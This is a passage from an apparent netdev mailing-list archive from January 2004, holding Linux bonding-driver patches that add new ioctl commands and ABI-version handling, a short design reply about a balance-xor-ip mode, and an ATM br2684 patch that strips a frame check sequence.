mimedefang) X-archive-position: 2277 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Content-Length: 4415 Lines: 177 Support old commands (enslave, release, change-active) over the new bonding ioctl (SIOCBONDDEVICE). diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Jan 8 18:03:27 2004 +++ b/drivers/net/bonding/bond_main.c Thu Jan 8 18:03:29 2004 @@ -1955,6 +1955,86 @@ static int bond_ethtool_ioctl(struct net } } +static int bond_ioctl_slave_dev(struct bonding *bond, int cmd, void *addr) +{ + struct bond_ioctl_cmd bond_cmd; + struct net_device *slave_dev; + int prev_abi_ver = app_abi_ver; + int prev_orig_abi_ver = orig_app_abi_ver; + int res = 0; + + if (copy_from_user(&bond_cmd, addr, sizeof(bond_cmd))) { + return -EFAULT; + } + + bond_cmd.ifname[IFNAMSIZ - 1] = 0; + + slave_dev = dev_get_by_name(bond_cmd.ifname); + if (!slave_dev) { + return -ENODEV; + } + + /* This is for backward compatibility only. + * Unconditionaly set both global abi_ver vars so we can block + * old ioctls in bond_do_ioctl(). + */ + orig_app_abi_ver = bond_cmd.abi_ver; + app_abi_ver = bond_cmd.abi_ver; + + switch (cmd) { + case BOND_CMD_ENSLAVE: + res = bond_enslave(bond->dev, slave_dev, bond_cmd.abi_ver); + break; + + case BOND_CMD_RELEASE: + res = bond_release(bond->dev, slave_dev); + break; + + case BOND_CMD_CHANGE_ACTIVE: + res = bond_ioctl_change_active(bond->dev, slave_dev); + break; + + default: + res = -EOPNOTSUPP; + break; + } + + dev_put(slave_dev); + + if (res < 0) { + /* The ioctl failed, so there's no point in changing the + * orig_app_abi_ver. We'll restore it's value just in case + * we've changed it earlier in this function. + */ + app_abi_ver = prev_abi_ver; + orig_app_abi_ver = prev_orig_abi_ver; + } + + return res; +} + +static int bond_ioctl_device(struct bonding *bond, void *addr) +{ + u32 cmd; + + if (get_user(cmd, (u32 *) addr)) { + return -EFAULT; + } + + switch (cmd) { + case BOND_CMD_ENSLAVE: + case BOND_CMD_RELEASE: + case BOND_CMD_CHANGE_ACTIVE: + /* these ioctl cmds receive a slave name as an arg */ + return bond_ioctl_slave_dev(bond, cmd, addr); + + default: + return -EOPNOTSUPP; + } + + return 0; +} + static int bond_info_query(struct net_device *bond_dev, struct ifbond *info) { struct bonding *bond = bond_dev->priv; @@ -3214,6 +3294,7 @@ static struct net_device_stats *bond_get static int bond_do_ioctl(struct net_device *bond_dev, struct ifreq *ifr, int cmd) { + struct bonding *bond = bond_dev->priv; struct net_device *slave_dev = NULL; struct ifbond *u_binfo = NULL, k_binfo; struct ifslave *u_sinfo = NULL, k_sinfo; @@ -3224,6 +3305,10 @@ static int bond_do_ioctl(struct net_devi dprintk("bond_ioctl: master=%s, cmd=%d\n", bond_dev->name, cmd); + if (!capable(CAP_NET_ADMIN)) { + return -EPERM; + } + switch (cmd) { case SIOCETHTOOL: return bond_ethtool_ioctl(bond_dev, ifr); @@ -3245,7 +3330,6 @@ static int bond_do_ioctl(struct net_devi } if (mii->reg_num == 1) { - struct bonding *bond = bond_dev->priv; mii->val_out = 0; read_lock_bh(&bond->lock); read_lock(&bond->curr_slave_lock); @@ -3289,13 +3373,19 @@ static int bond_do_ioctl(struct net_devi } return res; + case SIOCBONDDEVICE: + return bond_ioctl_device(bond, ifr->ifr_data); + default: /* Go on */ break; } - if (!capable(CAP_NET_ADMIN)) { - return -EPERM; + if (orig_app_abi_ver > 2) { + /* Refuse to support old ioctls if the app has already + * declared it is new enough for SIOCBONDDEVICE commands. + */ + return -EOPNOTSUPP; } if (orig_app_abi_ver == -1) { diff -Nuarp a/include/linux/if_bonding.h b/include/linux/if_bonding.h --- a/include/linux/if_bonding.h Thu Jan 8 18:03:27 2004 +++ b/include/linux/if_bonding.h Thu Jan 8 18:03:29 2004 @@ -112,6 +112,9 @@ struct ad_info { #define BOND_CMD_DRV_INFO 0x00000001 #define BOND_CMD_ADD_BOND 0x00000002 #define BOND_CMD_DEL_BOND 0x00000003 +#define BOND_CMD_ENSLAVE 0x00000004 +#define BOND_CMD_RELEASE 0x00000005 +#define BOND_CMD_CHANGE_ACTIVE 0x00000006 /** * bond_ioctl_drv_info @@ -127,6 +130,19 @@ struct bond_ioctl_drv_info { char reserved[32]; }; +/** + * bond_ioctl_cmd + * + * %BOND_CMD_ENSLAVE, %BOND_CMD_RELEASE and %BOND_CMD_CHANGE_ACTIVE pass the + * name of the slave to work on in @ifname. + */ +struct bond_ioctl_cmd { + __u32 cmd; + __u32 abi_ver; + __u32 num_prms; + char ifname[IFNAMSIZ]; +}; + #endif /* _LINUX_IF_BONDING_H */ /* From amir.noam@intel.com Thu Jan 8 08:29:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 08:29:26 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08GT9Ta012484 for ; Thu, 8 Jan 2004 08:29:11 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i08GStek012962; Thu, 8 Jan 2004 16:28:55 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i08GStxV001443; Thu, 8 Jan 2004 16:28:55 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010818285519276 ; Thu, 08 Jan 2004 18:28:55 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i08GSthb004000; Thu, 8 Jan 2004 18:28:55 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 2/4] [bonding 2.6] Reduce usage of the global value of abi_ver Date: Thu, 8 Jan 2004 18:28:53 +0200 User-Agent: KMail/1.5.3 Cc: , MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401081828.54991.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2278 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Content-Length: 6428 Lines: 190 - Reduce usage of the global values of the ABI version received from the application. Instead, pass it as a function argument were needed. - Save a new slave's original HW address regardless of ABI version. - Move the clearing of the bond's address and some references to the bond's params structure so they are protected by the relevant locks. diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Jan 8 18:06:45 2004 +++ b/drivers/net/bonding/bond_main.c Thu Jan 8 18:06:46 2004 @@ -561,6 +561,11 @@ static int arp_ip_count = 0; static u32 my_ip = 0; static int bond_mode = BOND_MODE_ROUNDROBIN; static int lacp_fast = 0; + +/* The global abi_ver vars are only for providing backward compatibility with + * versions that locked bonding into using only the first abi_ver it has seen + * from userspace. + */ static int app_abi_ver = 0; static int orig_app_abi_ver = -1; /* This is used to save the first ABI version * we receive from the application. Once set, @@ -1207,7 +1212,7 @@ static int bond_sethwaddr(struct net_dev } /* enslave device to bond device */ -static int bond_enslave(struct net_device *bond_dev, struct net_device *slave_dev) +static int bond_enslave(struct net_device *bond_dev, struct net_device *slave_dev, int abi_ver) { struct bonding *bond = bond_dev->priv; struct slave *new_slave = NULL; @@ -1234,7 +1239,7 @@ static int bond_enslave(struct net_devic return -EBUSY; } - if (app_abi_ver >= 1) { + if (abi_ver >= 1) { /* The application is using an ABI, which requires the * slave interface to be closed. */ @@ -1289,13 +1294,12 @@ static int bond_enslave(struct net_devic */ new_slave->original_flags = slave_dev->flags; - if (app_abi_ver >= 1) { - /* save slave's original ("permanent") mac address for - * modes that needs it, and for restoring it upon release, - * and then set it to the master's address - */ - memcpy(new_slave->perm_hwaddr, slave_dev->dev_addr, ETH_ALEN); + /* save slave's original ("permanent") mac address for restoring it + * upon release + */ + memcpy(new_slave->perm_hwaddr, slave_dev->dev_addr, ETH_ALEN); + if (abi_ver >= 1) { /* set slave to master's mac address * The application already set the master's * mac address to that of the first slave @@ -1319,7 +1323,7 @@ static int bond_enslave(struct net_devic res = netdev_set_master(slave_dev, bond_dev); if (res) { dprintk("Error %d calling netdev_set_master\n", res); - if (app_abi_ver < 1) { + if (abi_ver < 1) { goto err_free; } else { goto err_close; @@ -1520,7 +1524,7 @@ static int bond_enslave(struct net_devic write_unlock_bh(&bond->lock); - if (app_abi_ver < 1) { + if (abi_ver < 1) { /* * !!! This is to support old versions of ifenslave. * We can remove this in 2.5 because our ifenslave takes @@ -1689,6 +1693,14 @@ static int bond_release(struct net_devic } } + if (bond->slave_cnt == 0) { + /* if the last slave was removed, zero the mac address + * of the master so it will be set by the application + * to the mac address of the first slave + */ + memset(bond_dev->dev_addr, 0, bond_dev->addr_len); + } + write_unlock_bh(&bond->lock); /* If the mode USES_PRIMARY, then we should only remove its @@ -1715,12 +1727,10 @@ static int bond_release(struct net_devic /* close slave before restoring its mac address */ dev_close(slave_dev); - if (app_abi_ver >= 1) { - /* restore original ("permanent") mac address */ - memcpy(addr.sa_data, slave->perm_hwaddr, ETH_ALEN); - addr.sa_family = slave_dev->type; - slave_dev->set_mac_address(slave_dev, &addr); - } + /* restore original ("permanent") mac address */ + memcpy(addr.sa_data, slave->perm_hwaddr, ETH_ALEN); + addr.sa_family = slave_dev->type; + slave_dev->set_mac_address(slave_dev, &addr); /* restore the original state of the * IFF_NOARP flag that might have been @@ -1732,14 +1742,6 @@ static int bond_release(struct net_devic kfree(slave); - /* if the last slave was removed, zero the mac address - * of the master so it will be set by the application - * to the mac address of the first slave - */ - if (bond->slave_cnt == 0) { - memset(bond_dev->dev_addr, 0, bond_dev->addr_len); - } - return 0; /* deletion OK */ } @@ -1812,12 +1814,10 @@ static int bond_release_all(struct net_d /* close slave before restoring its mac address */ dev_close(slave_dev); - if (app_abi_ver >= 1) { - /* restore original ("permanent") mac address*/ - memcpy(addr.sa_data, slave->perm_hwaddr, ETH_ALEN); - addr.sa_family = slave_dev->type; - slave_dev->set_mac_address(slave_dev, &addr); - } + /* restore original ("permanent") mac address*/ + memcpy(addr.sa_data, slave->perm_hwaddr, ETH_ALEN); + addr.sa_family = slave_dev->type; + slave_dev->set_mac_address(slave_dev, &addr); /* restore the original state of the IFF_NOARP flag that might have * been set by bond_set_slave_inactive_flags() @@ -1958,10 +1958,9 @@ static int bond_info_query(struct net_de { struct bonding *bond = bond_dev->priv; + read_lock_bh(&bond->lock); info->bond_mode = bond->params.mode; info->miimon = bond->params.miimon; - - read_lock_bh(&bond->lock); info->num_slaves = bond->slave_cnt; read_unlock_bh(&bond->lock); @@ -2754,16 +2753,14 @@ static void bond_info_show_slave(struct seq_printf(seq, "Link Failure Count: %d\n", slave->link_failure_count); - if (app_abi_ver >= 1) { - seq_printf(seq, - "Permanent HW addr: %02x:%02x:%02x:%02x:%02x:%02x\n", - slave->perm_hwaddr[0], - slave->perm_hwaddr[1], - slave->perm_hwaddr[2], - slave->perm_hwaddr[3], - slave->perm_hwaddr[4], - slave->perm_hwaddr[5]); - } + seq_printf(seq, + "Permanent HW addr: %02x:%02x:%02x:%02x:%02x:%02x\n", + slave->perm_hwaddr[0], + slave->perm_hwaddr[1], + slave->perm_hwaddr[2], + slave->perm_hwaddr[3], + slave->perm_hwaddr[4], + slave->perm_hwaddr[5]); if (bond->params.mode == BOND_MODE_8023AD) { const struct aggregator *agg @@ -3325,7 +3322,7 @@ static int bond_do_ioctl(struct net_devi switch (cmd) { case BOND_ENSLAVE_OLD: case SIOCBONDENSLAVE: - res = bond_enslave(bond_dev, slave_dev); + res = bond_enslave(bond_dev, slave_dev, app_abi_ver); break; case BOND_RELEASE_OLD: case SIOCBONDRELEASE: From amir.noam@intel.com Thu Jan 8 08:30:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 08:30:27 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08GU9Ta012543 for ; Thu, 8 Jan 2004 08:30:11 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i08GTtek013040; Thu, 8 Jan 2004 16:29:55 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i08GTsxV001508; Thu, 8 Jan 2004 16:29:55 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010818295419288 ; Thu, 08 Jan 2004 18:29:54 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i08GTshb004033; Thu, 8 Jan 2004 18:29:54 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 3/4] [bonding 2.6] Add support for the bond_hook in bonding Date: Thu, 8 Jan 2004 18:29:53 +0200 User-Agent: KMail/1.5.3 Cc: , MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401081829.54372.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2279 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Content-Length: 3246 Lines: 126 Add support for the bond_hook in bonding, and use it to export some parameters to the calling app. These parameters will be needed later by the application for dynamic configuration of bonding interfaces. diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Jan 8 18:06:49 2004 +++ b/drivers/net/bonding/bond_main.c Thu Jan 8 18:06:50 2004 @@ -599,6 +599,7 @@ static struct bond_parm_tbl bond_mode_tb /*-------------------------- Forward declarations ---------------------------*/ +extern void bond_ioctl_set(int (*hook)(unsigned long)); static inline void bond_set_mode_ops(struct net_device *bond_dev, int mode); /*---------------------------- General routines -----------------------------*/ @@ -3898,6 +3899,57 @@ static void bond_free_all(void) #endif } +static int bond_ioctl_deviceless(unsigned long arg) +{ + void *addr = (void *)arg; + u32 cmd; + + if (!capable(CAP_NET_ADMIN)) { + return -EPERM; + } + + if (get_user(cmd, (u32 *)addr)) { + return -EFAULT; + } + + switch (cmd) { + case BOND_CMD_DRV_INFO: { + struct bond_ioctl_drv_info drvinfo; + + if (copy_from_user(&drvinfo, addr, sizeof(drvinfo))) { + return -EFAULT; + } + + /* This is for backward compatibility only. + * Unconditionaly set both global abi_ver vars so we can block + * old ioctls in bond_do_ioctl(). + */ + orig_app_abi_ver = drvinfo.abi_ver; + app_abi_ver = drvinfo.abi_ver; + + drvinfo.abi_ver = BOND_ABI_VERSION; + drvinfo.num_prms = 0; + drvinfo.num_arp_targets = BOND_MAX_ARP_TARGETS; + + if (copy_to_user(addr, &drvinfo, sizeof(drvinfo))) { + return -EFAULT; + } + + break; + } + + /* TODO: implement dynamic add/del of bond interfaces + case BOND_CMD_ADD_BOND: + case BOND_CMD_DEL_BOND: + */ + + default: + return -EOPNOTSUPP; + } + + return 0; +} + /*------------------------- Module initialization ---------------------------*/ /* @@ -4219,6 +4271,8 @@ static int __init bonding_init(void) } rtnl_unlock(); + + bond_ioctl_set(bond_ioctl_deviceless); register_netdevice_notifier(&bond_netdev_notifier); return 0; @@ -4235,6 +4289,7 @@ out_err: static void __exit bonding_exit(void) { unregister_netdevice_notifier(&bond_netdev_notifier); + bond_ioctl_set(NULL); rtnl_lock(); bond_free_all(); diff -Nuarp a/include/linux/if_bonding.h b/include/linux/if_bonding.h --- a/include/linux/if_bonding.h Thu Jan 8 18:06:49 2004 +++ b/include/linux/if_bonding.h Thu Jan 8 18:06:50 2004 @@ -103,6 +103,30 @@ struct ad_info { __u8 partner_system[ETH_ALEN]; }; + +/* + * The following are the available command codes for the SIOCBONDING and + * SIOCBONDDEVICE ioctls. The command codes are the first u32 value of the + * passed struct. The second u32 value is the ABI version of the application. + */ +#define BOND_CMD_DRV_INFO 0x00000001 +#define BOND_CMD_ADD_BOND 0x00000002 +#define BOND_CMD_DEL_BOND 0x00000003 + +/** + * bond_ioctl_drv_info + * + * Used by the %BOND_CMD_DRV_INFO command to retrieve some parameters of the + * bonding driver. + */ +struct bond_ioctl_drv_info { + __u32 cmd; + __u32 abi_ver; + __u32 num_prms; + __u32 num_arp_targets; + char reserved[32]; +}; + #endif /* _LINUX_IF_BONDING_H */ /* From amir.noam@intel.com Thu Jan 8 08:31:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 08:31:32 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08GVDTa012934 for ; Thu, 8 Jan 2004 08:31:15 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i08GUwek013210; Thu, 8 Jan 2004 16:30:58 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i08GUwxX001629; Thu, 8 Jan 2004 16:30:58 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010818305719342 ; Thu, 08 Jan 2004 18:30:57 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i08GUthb004074; Thu, 8 Jan 2004 18:30:56 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 4/4] [bonding 2.6] Support old commands over new bonding ioctl Date: Thu, 8 Jan 2004 18:30:55 +0200 User-Agent: KMail/1.5.3 Cc: , MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401081830.55891.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2280 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Content-Length: 4415 Lines: 177 Support old commands (enslave, release, change-active) over the new bonding ioctl (SIOCBONDDEVICE). diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Jan 8 18:06:53 2004 +++ b/drivers/net/bonding/bond_main.c Thu Jan 8 18:06:54 2004 @@ -1955,6 +1955,86 @@ static int bond_ethtool_ioctl(struct net } } +static int bond_ioctl_slave_dev(struct bonding *bond, int cmd, void *addr) +{ + struct bond_ioctl_cmd bond_cmd; + struct net_device *slave_dev; + int prev_abi_ver = app_abi_ver; + int prev_orig_abi_ver = orig_app_abi_ver; + int res = 0; + + if (copy_from_user(&bond_cmd, addr, sizeof(bond_cmd))) { + return -EFAULT; + } + + bond_cmd.ifname[IFNAMSIZ - 1] = 0; + + slave_dev = dev_get_by_name(bond_cmd.ifname); + if (!slave_dev) { + return -ENODEV; + } + + /* This is for backward compatibility only. + * Unconditionaly set both global abi_ver vars so we can block + * old ioctls in bond_do_ioctl(). + */ + orig_app_abi_ver = bond_cmd.abi_ver; + app_abi_ver = bond_cmd.abi_ver; + + switch (cmd) { + case BOND_CMD_ENSLAVE: + res = bond_enslave(bond->dev, slave_dev, bond_cmd.abi_ver); + break; + + case BOND_CMD_RELEASE: + res = bond_release(bond->dev, slave_dev); + break; + + case BOND_CMD_CHANGE_ACTIVE: + res = bond_ioctl_change_active(bond->dev, slave_dev); + break; + + default: + res = -EOPNOTSUPP; + break; + } + + dev_put(slave_dev); + + if (res < 0) { + /* The ioctl failed, so there's no point in changing the + * orig_app_abi_ver. We'll restore it's value just in case + * we've changed it earlier in this function. + */ + app_abi_ver = prev_abi_ver; + orig_app_abi_ver = prev_orig_abi_ver; + } + + return res; +} + +static int bond_ioctl_device(struct bonding *bond, void *addr) +{ + u32 cmd; + + if (get_user(cmd, (u32 *) addr)) { + return -EFAULT; + } + + switch (cmd) { + case BOND_CMD_ENSLAVE: + case BOND_CMD_RELEASE: + case BOND_CMD_CHANGE_ACTIVE: + /* these ioctl cmds receive a slave name as an arg */ + return bond_ioctl_slave_dev(bond, cmd, addr); + + default: + return -EOPNOTSUPP; + } + + return 0; +} + static int bond_info_query(struct net_device *bond_dev, struct ifbond *info) { struct bonding *bond = bond_dev->priv; @@ -3213,6 +3293,7 @@ static struct net_device_stats *bond_get static int bond_do_ioctl(struct net_device *bond_dev, struct ifreq *ifr, int cmd) { + struct bonding *bond = bond_dev->priv; struct net_device *slave_dev = NULL; struct ifbond *u_binfo = NULL, k_binfo; struct ifslave *u_sinfo = NULL, k_sinfo; @@ -3223,6 +3304,10 @@ static int bond_do_ioctl(struct net_devi dprintk("bond_ioctl: master=%s, cmd=%d\n", bond_dev->name, cmd); + if (!capable(CAP_NET_ADMIN)) { + return -EPERM; + } + switch (cmd) { case SIOCETHTOOL: return bond_ethtool_ioctl(bond_dev, ifr); @@ -3244,7 +3329,6 @@ static int bond_do_ioctl(struct net_devi } if (mii->reg_num == 1) { - struct bonding *bond = bond_dev->priv; mii->val_out = 0; read_lock_bh(&bond->lock); read_lock(&bond->curr_slave_lock); @@ -3288,13 +3372,19 @@ static int bond_do_ioctl(struct net_devi } return res; + case SIOCBONDDEVICE: + return bond_ioctl_device(bond, ifr->ifr_data); + default: /* Go on */ break; } - if (!capable(CAP_NET_ADMIN)) { - return -EPERM; + if (orig_app_abi_ver > 2) { + /* Refuse to support old ioctls if the app has already + * declared it is new enough for SIOCBONDDEVICE commands. + */ + return -EOPNOTSUPP; } if (orig_app_abi_ver == -1) { diff -Nuarp a/include/linux/if_bonding.h b/include/linux/if_bonding.h --- a/include/linux/if_bonding.h Thu Jan 8 18:06:53 2004 +++ b/include/linux/if_bonding.h Thu Jan 8 18:06:54 2004 @@ -112,6 +112,9 @@ struct ad_info { #define BOND_CMD_DRV_INFO 0x00000001 #define BOND_CMD_ADD_BOND 0x00000002 #define BOND_CMD_DEL_BOND 0x00000003 +#define BOND_CMD_ENSLAVE 0x00000004 +#define BOND_CMD_RELEASE 0x00000005 +#define BOND_CMD_CHANGE_ACTIVE 0x00000006 /** * bond_ioctl_drv_info @@ -127,6 +130,19 @@ struct bond_ioctl_drv_info { char reserved[32]; }; +/** + * bond_ioctl_cmd + * + * %BOND_CMD_ENSLAVE, %BOND_CMD_RELEASE and %BOND_CMD_CHANGE_ACTIVE pass the + * name of the slave to work on in @ifname. + */ +struct bond_ioctl_cmd { + __u32 cmd; + __u32 abi_ver; + __u32 num_prms; + char ifname[IFNAMSIZ]; +}; + #endif /* _LINUX_IF_BONDING_H */ /* From per@hedeland.org Thu Jan 8 08:44:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 08:44:19 -0800 (PST) Received: from pluto.hedeland.org (as1-2-8.mal.s.bonet.se [194.236.4.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08Gi4Ta014007 for ; Thu, 8 Jan 2004 08:44:05 -0800 Received: from pluto.hedeland.org (localhost [127.0.0.1]) by pluto.hedeland.org (8.12.10/8.12.10) with ESMTP id i08GhwI5059383 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 8 Jan 2004 17:43:58 +0100 (CET) Received: (from per@localhost) by pluto.hedeland.org (8.12.10/8.12.10/Submit) id i08GhwRP059382; Thu, 8 Jan 2004 17:43:58 +0100 (CET) Date: Thu, 8 Jan 2004 17:43:58 +0100 (CET) From: Per Hedeland Message-Id: <200401081643.i08GhwRP059382@pluto.hedeland.org> To: amir.noam@intel.com Cc: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Bonding-devel] [PATCH] [bonding 2.4] Add balance-xor-ip bonding mode In-Reply-To: <200401081733.44744.amir.noam@intel.com> X-archive-position: 2281 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: per@hedeland.org Precedence: bulk X-list: netdev Content-Length: 875 Lines: 24 Amir Noam wrote: >Please use u32 instead of __u32. OK. >hmm... > >I don't like this. The reason we give different tx function pointers >to dev->hard_start_xmit in different bonding mode is to make the tx >path as fast as possible. Otherwise we might as well use a single tx >function that chooses its exact operation based on the bonding mode. > >It might be better to have some code duplication if it results in >faster tx, but I'm not sure what's the optimal solution in this case. Well, I don't really have an opinion since I don't have a good idea about the cost of a function call relative to "everything else" that is happening here. I don't see a way to do "limited" duplication without using function calls though, but I'm quite happy to make it two entirely separate functions for MAC vs IP. Please advise. --Per Hedeland per@hedeland.org From chas@cmf.nrl.navy.mil Thu Jan 8 08:58:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 08:59:05 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08GwpTa014932 for ; Thu, 8 Jan 2004 08:58:52 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i08GwdRr017374; Thu, 8 Jan 2004 11:58:39 -0500 (EST) Message-Id: <200401081658.i08GwdRr017374@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com, ajz@cambridgebroadband.com Subject: [PATCH][ATM]: br2684 incorrectly handles frames recvd with FCS (by Alex Zeffertt ) Reply-To: chas3@users.sourceforge.net Date: Thu, 08 Jan 2004 11:58:40 -0500 From: chas williams (contractor) X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 2282 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 1076 Lines: 31 please apply to 2.6 (and 2.4 as well!) thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1492 -> 1.1493 # net/atm/br2684.c 1.9 -> 1.10 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/01/07 chas@relax.cmf.nrl.navy.mil 1.1493 # [ATM]: br2684 incorrectly handles frames recvd with FCS (by Alex Zeffertt ) # -------------------------------------------- # diff -Nru a/net/atm/br2684.c b/net/atm/br2684.c --- a/net/atm/br2684.c Wed Jan 7 13:23:54 2004 +++ b/net/atm/br2684.c Wed Jan 7 13:23:54 2004 @@ -437,6 +437,10 @@ dev_kfree_skb(skb); return; } + + /* Strip FCS if present */ + if (skb->len > 7 && skb->data[7] == 0x01) + __skb_trim(skb, skb->len - 4); } else { plen = PADLEN + ETH_HLEN; /* pad, dstmac,srcmac, ethtype */ /* first 2 chars should be 0 */ From per@hedeland.org Thu Jan 8 08:59:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 08:59:41 -0800 (PST) Received: from pluto.hedeland.org (as1-2-8.mal.s.bonet.se [194.236.4.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08GxRTa014960 for ; Thu, 8 Jan 2004 08:59:28 -0800 Received: from pluto.hedeland.org (localhost [127.0.0.1]) by pluto.hedeland.org (8.12.10/8.12.10) with ESMTP id i08GwXI5059632 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 8 Jan 2004 17:58:33 +0100 (CET) Received: (from per@localhost) by pluto.hedeland.org (8.12.10/8.12.10/Submit) id i08GwXZV059631; Thu, 8 Jan 2004 17:58:33 +0100 (CET) Date: Thu, 8 Jan 2004 17:58:33 +0100 (CET) From: Per Hedeland Message-Id: <200401081658.i08GwXZV059631@pluto.hedeland.org> To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com, 